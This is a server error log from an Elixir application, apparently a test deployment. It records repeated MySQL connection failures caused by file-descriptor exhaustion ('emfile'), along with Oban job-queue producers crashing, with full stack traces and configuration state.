[Sat Sep  5 23:12:38.866000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:12:39.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2097ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:12:27.241165Z], limit: 10, uuid: "93b0de26-3485-4b43-910d-851c650d4506", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:12:27.241173Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.259190>, refresh_timer: #Reference<0.2525715032.1099431938.9804>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:12:43.873000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:12:44.480000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:12:44.642000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:12:45.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2067ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:12:33.256056Z], limit: 50, uuid: "15af8876-c5a6-4c7f-8aae-a1c250588eff", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:12:33.256062Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.259424>, refresh_timer: #Reference<0.2525715032.1068236804.259416>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:12:45.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2051ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:12:33.244878Z], limit: 3, uuid: "e8fd470b-8e2f-4c9c-9743-b30aacaac3d9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:12:33.244888Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.259428>, refresh_timer: #Reference<0.2525715032.1099431938.9889>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:12:45.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1895ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:12:33.242420Z], limit: 5, uuid: "83806700-a698-416e-a6f2-d1a42497baa5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:12:33.242427Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.259426>, refresh_timer: #Reference<0.2525715032.1099431938.9888>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:12:45.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1838ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:12:33.251990Z], limit: 5, uuid: "83d8c51c-d448-43db-aaa8-4337a30246af", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:12:33.252000Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.259427>, refresh_timer: #Reference<0.2525715032.1099431938.9906>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:12:45.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2074ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:12:33.245112Z], limit: 20, uuid: "d695fbd8-642e-4685-8a63-b3b911b47c3e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:12:33.245117Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.259425>, refresh_timer: #Reference<0.2525715032.1099431938.9900>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:12:46.931000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:12:47.822000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:12:51.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1883ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:12:39.237583Z], limit: 10, uuid: "64b9092b-cfd3-4f90-a1d8-cf453dde925f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:12:39.237588Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.259606>, refresh_timer: #Reference<0.2525715032.1068236804.259597>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:12:53.538000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:12:56.506000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:12:57.126000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:12:57.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2056ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:12:45.244655Z], limit: 20, uuid: "e3468729-9741-44cd-9a70-7a0f4379fa1d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:12:45.244661Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.259840>, refresh_timer: #Reference<0.2525715032.1068236804.259825>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:12:57.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2057ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
